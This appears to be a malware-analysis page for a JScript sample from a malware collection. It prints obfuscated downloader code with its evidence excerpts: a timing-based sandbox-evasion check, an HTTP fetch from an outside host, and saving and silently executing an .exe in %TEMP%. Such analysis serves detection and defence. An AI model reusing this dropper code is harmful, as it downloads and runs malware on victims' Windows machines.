Hostile ^100% javascript-malware-collection Download

20160328_ca46bfbf91e3dba9ae29825800050ed0.js

Downloads and executes remote payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-256ea01940729c9bf582a7ba79f3cf369e81189668f3af2531fff062aae8226ea83

Evidence

UTC millisecond jitter sleep check lines 1–36

1var Owgkukvfkz = false;
2var Qbelmwt = "CreateObject";
3var Fttziqazzb = function Kvzfnywxui() {return WScript[Qbelmwt]("WScript.Shell");}();
4var Momsl = 123213;
5var Qpyoynh = "MSXML2.XMLHTTP";
6var Niqnjqnv = 2123213;
7var Pkyqslwo = 0;
8function Dmyhzb(Mmsrvf){Fttziqazzb["Run"](Mmsrvf, Pkyqslwo, Pkyqslwo);};
9function Afcjq(){return Qpyoynh;};
10function Afunfflusu(Oilgtfrlv, Rnryeqbv){return Oilgtfrlv - Rnryeqbv;};
11function Ulrtuvnfcx(){return Qbelmwt;};
12/*@cc_on
13  @if (@_win32 || @_win64)
14    Owgkukvfkz = true;
15  @end
⋯6 lines
22function Xppfrm()
23{
24var Wzsmkcve = new this["Date"]();
25var Chsfjmrjoa = Wzsmkcve["getUTCMilliseconds"]();
26WScript["Sleep"](Arqrs());
27var Wzsmkcve = new this["Date"]();
⋯9 lines

English function-word token "for" lines 37–42

37:41… 
38}
39var Ctyoxs = false;
40var Lackysys = false;
41for (var Jedddy = Pkyqslwo; Jedddy < Arqrs() * 1; Jedddy++){if (Xppfrm() != Pkyqslwo){
42Ctyoxs = true …

Contains a hardcoded insecure HTTP URL lines 49–63

49:3…  (Ctyoxs && Zoems() && Lackysys){
50function Xzneamjax() {return Fttziqazzb["ExpandEnvironmentStrings"]("%TEMP%/") + "iGNRZQl54Xt.exe";};
51 Ovztxghjlm = Afcjq();
52 Ifvdxevh = WScript[Qbelmwt](Ovztxghjlm);
53 var Plbzcva = 1;
54 while (Plbzcva){
55try {
56Ifvdxevh[Pwyvn]("GET", "http://dukeplasticslab.com/j47akfa", false);
57Ifvdxevh["send"]();
58Tglinr = "Sleep";
59do {WScript[Tglinr](Arqrs() * 11)} while (Ifvdxevh["readystate"] < 4 );
60Plbzcva = Pkyqslwo;
61} catch(Wdwrrek){Plbzcva = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Dehezaewwi(Rvncwekn) { …

Calls computed member from function result lines 63–75

63:54… , 3, 4, 5, Rvncwekn); return Tnymothtzj;};
64Qazimuwwca = WScript[Ulrtuvnfcx()]("ADODB.Stream");
65Ovztxghjlm = Qazimuwwca;
66Ovztxghjlm[Pwyvn]();
67Ovztxghjlm["type"] = Dehezaewwi(1);
68Ovztxghjlm["write"](Ifvdxevh["ResponseBody"]);
69Qazimuwwca["position"] = Dehezaewwi(Pkyqslwo);
70Ovztxghjlm["SaveToFile"](Xzneamjax(), Dehezaewwi(2) );
71Qazimuwwca["close"]();
72Dmyhzb(Xzneamjax());
73}
74}
75